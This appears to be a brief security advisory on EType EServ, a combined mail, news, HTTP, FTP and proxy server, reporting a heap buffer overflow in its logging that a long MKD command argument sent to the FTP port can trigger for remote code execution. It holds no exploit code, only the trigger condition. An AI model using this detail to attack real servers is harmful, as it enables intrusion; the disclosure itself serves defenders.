EType EServ is a combination mail, news, HTTP, FTP, and proxy server.
|
|
|
|
The logging mechanism in EType EServ is vulnerable to a heap buffer overflow that could allow remote attackers to execute arbitrary code on the server. The overflow occurs when a MKD command with an unusually long argument is sent to the FTP Server port.
